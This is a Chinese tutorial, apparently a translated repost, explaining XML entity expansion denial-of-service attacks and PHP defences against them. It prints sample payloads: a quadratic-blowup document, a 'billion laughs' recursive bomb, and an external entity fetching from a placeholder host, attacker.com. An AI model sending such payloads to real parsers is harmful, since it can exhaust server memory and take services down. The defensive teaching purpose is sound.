XMl Entity Expansion(攻擊)某種程度上類似於 XML Entity Expansion,但是它主要試圖透過消耗目標程式的伺服器環境來進行DOS攻擊的。這種攻擊是基於XML Entity Expansion實現,透過在XML的DOCTYPE
中建立自訂實體的定義實現,例如,這種定義可以在記憶體中產生一個比XML的原始允許大小大出很多的XML結構,來使這種攻擊得以耗盡網路伺服器正常有效運作的必需記憶體資源。這種攻擊方式同樣適用於HTML5的XML序列化功能模組,該模組目前還不能被libxml2
擴充包辨識為HTML。
要擴充XML自訂實體以達到預期的耗盡伺服器資源效果有好幾種方式。
通用實體擴充攻擊同樣被稱為“Quadratic Blowup Attack”,使用這種方式時,自訂實體被定義為一個極長的字串。當檔案中大量使用這個實體時,該實體在每次呼叫時都會進行擴展,產生一個大幅超出原始XML所需RAM大小的XML結構。
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]> <results> <result>Now include &long; lots of times to expand the in-memory size of this XML structure</result> <result>&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; Keep it going... &long;&long;&long;&long;&long;&long;&long;...</result> </results>
透過平衡自訂實體字串大小和文件主體內使用實體數量,可以建立一個擴展至佔用伺服器可預測RAM空間大小的XML文件或字串。透過這樣重複請求來佔用伺服器RAM,就可以發動一次成功的拒絕服務攻擊。此方式的缺陷是,由於產生記憶體消耗效果是基於簡單數乘的,因此初始XML文件或字串本身需要足夠大。
通用實體擴充攻擊需要足夠大的XML輸入資料量,而遞迴實體擴充攻擊的平均輸入位元組能產生更強的攻擊效果。這種攻擊方式依賴XML解析器來解析,從而完成小實體集的指數級增長。透過這種指數爆炸性增長方式,一個比通用實體擴展攻擊使用小得多的輸入資料量實際上可增長得極大。因此這種方式被稱為「XML Bomb」或是「Billion Laughs Attack」也是十分恰當的。
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY x0 "BOOM!"> <!ENTITY x1 "&x0;&x0;"> <!ENTITY x2 "&x1;&x1;"> <!ENTITY x3 "&x2;&x2;"> <!-- Add the remaining sequence from x4...x100 (or boom) --> <!ENTITY x99 "&x98;&x98;"> <!ENTITY boom "&x99;&x99;"> ]> <results> <result>Explode in 3...2...1...&boom;</result> </results>
XML Bomb攻擊並不需要大量可能會被程式限制的XML資料輸入。實體集像這樣指數倍增長,最終形成的擴展後文本大小是初始 &x0
實體值的2的100次方倍。這其實是個龐大且毀滅性超強的炸彈!
常規和遞歸實體擴充攻擊都依賴XML文件類型定義中定義在本地的實體,但是攻擊者同樣可以進行外部實體定義。這很顯然需要XML解析器能夠像我們之前在描述XML外部實體注入式攻擊(XXE)時遇到的那樣,發起遠端HTTP請求。而拒絕這種請求對你的XML解析器而言是一種基礎的安保措施。因此,防禦XXE攻擊的措施同樣適用於此類XML實體擴充攻擊。
雖說可以透過上述方式進行防禦,遠端實體擴充功能透過使XML解析器發出遠端HTTP請求來獲得被引用實體的擴充值來進行攻擊。傳回結果將自行定義其他XML解析器必須另行HTTP請求的外部實體。如此一來,一些看似並無攻擊性的請求會迅速脫離控制,並給伺服器的可用資源帶來負擔。在這種情況下,如果請求自包括一個遞歸擴展攻擊,那麼最終結果會更加糟糕。
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml"> ]> <results> <result>3..2..1...&cascade<result> </results>
上述攻擊手法還有可能更迂迴地進行DOS攻擊,例如,遠端請求被調整到針對本地程式或其他任何共享其伺服器資源的程式。這種攻擊方式可能造成自我損傷式的DOS攻擊,其中, XML解析器嘗試解析外部實體可能會觸發無數針對本機程式的請求,並由此消耗更多的伺服器資源。此方式因此被用於放大先前討論過的關於使用XML外部實體注入式攻擊(XXE)以完成DOS攻擊的攻擊影響。
下列常規防禦措施,是從我們針對普通XML外部實體攻擊(XXE)的防禦措施繼承而來的。我們應拒絕XML中自訂實體對本機檔案和遠端HTTP請求的解析,並可使用以下可全域應用於所有內部使用了libxml2
函數的PHP或XML所書寫擴充的函數進行拒絕。
libxml_disable_entity_loader(true);
诚然PHP以不按常理出牌著称,它并不使用常规的防御方式。常规的防御方式在文档类型声明中,使用XML的文档类型定义来完全拒绝通过自定义实体的定义。PHP也的确为防御功能定义了一个替代实体的LIBXML_NOENT
常量,以及 DOMDocument::$substituteEntities
公共属性,但是使用这两条定义的防御效果不甚明显。似乎我们只能这样将就解决问题,而没有任何更好的解决方案。
虽说没有更好的方案,libxml2
函数也确实内置了默认拒绝递归实体解析。要知道递归实体要是出了问题可是能让你的错误日志”咻”地一下跟点亮圣诞树一样全面飘红的。如此看来,好像也没必要特意针对递归实体使用一种特殊防御手段,尽管我们是得做点什么来防止万一libxml2
函数突然陷回解析递归实体的故障里去。
当下新型威胁主要来自Generic Entity Expansion 或者Quadratic Blowup Attack的粗暴攻击方式。此类攻击方式不需要调用远程或本地系统,也不需要实体递归。事实上,唯一的防御措施要么是不用XML,要么是清理过滤所有包含文档类型声明的XML。除非要求的文档类型声明接收于安全的可信源,否则最安全的做法就是不用XML了。比如,我们是由同行验证的HTTPS连接接受的。否则,既然PHP没给我们提供禁用文档类型定义的选项,那我们就只能自建逻辑了。假定你能调用 libxml_disable_entity_loader(TRUE)
,那么后续程序运行就是安全的了,因为实体扩展这一步已经被递延到被扩展影响的节点值可被再次访问的时候了(然而勾选TURE以后永远都访问不到了)。
$dom = new DOMDocument; $dom->loadXML($xml); foreach ($dom->childNodes as $child) { if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); } }
当然啦,在 libxml_disable_entity_loader
被设定为TRUE
的前提下,以上代码才能正常运行,设定后XML初始加载的时外部实体引用就不会被解析了。除非解析器自己有一套全面的针对如何进行实体解析的控制选项,否则XML解析器不依赖libxml2
函数进行解析时,恐怕这就是唯一的防御措施了。
如果你想使用SimpleXML函数,记得用the simplexml_import_dom()
函数来转换核验过的DOMDocument
项目。
原文地址:Injection Attacks
OneAPM for PHP 能够深入到所有 PHP 应用内部完成应用性能管理 能够深入到所有 PHP 应用内部完成应用性能管理和监控,包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。想阅读更多技术文章,请访问 OneAPM 官方技术博客。
以上是XML實體擴充攻擊程式碼實例分享的詳細內容。更多資訊請關注PHP中文網其他相關文章!